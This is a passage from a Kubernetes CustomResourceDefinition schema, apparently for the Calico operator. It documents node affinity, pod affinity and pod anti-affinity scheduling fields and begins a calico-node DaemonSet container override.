                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of calico-node containers.
                                        If specified, this overrides the specified calico-node DaemonSet containers.
                                        If omitted, the calico-node DaemonSet will use its default values for its containers.
                                      items:
                                        description: CalicoNodeDaemonSetContainer
                                          is a calico-node DaemonSet container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the calico-node DaemonSet container by name.
                                              Supported values are: calico-node
                                            enum:
                                            - calico-node
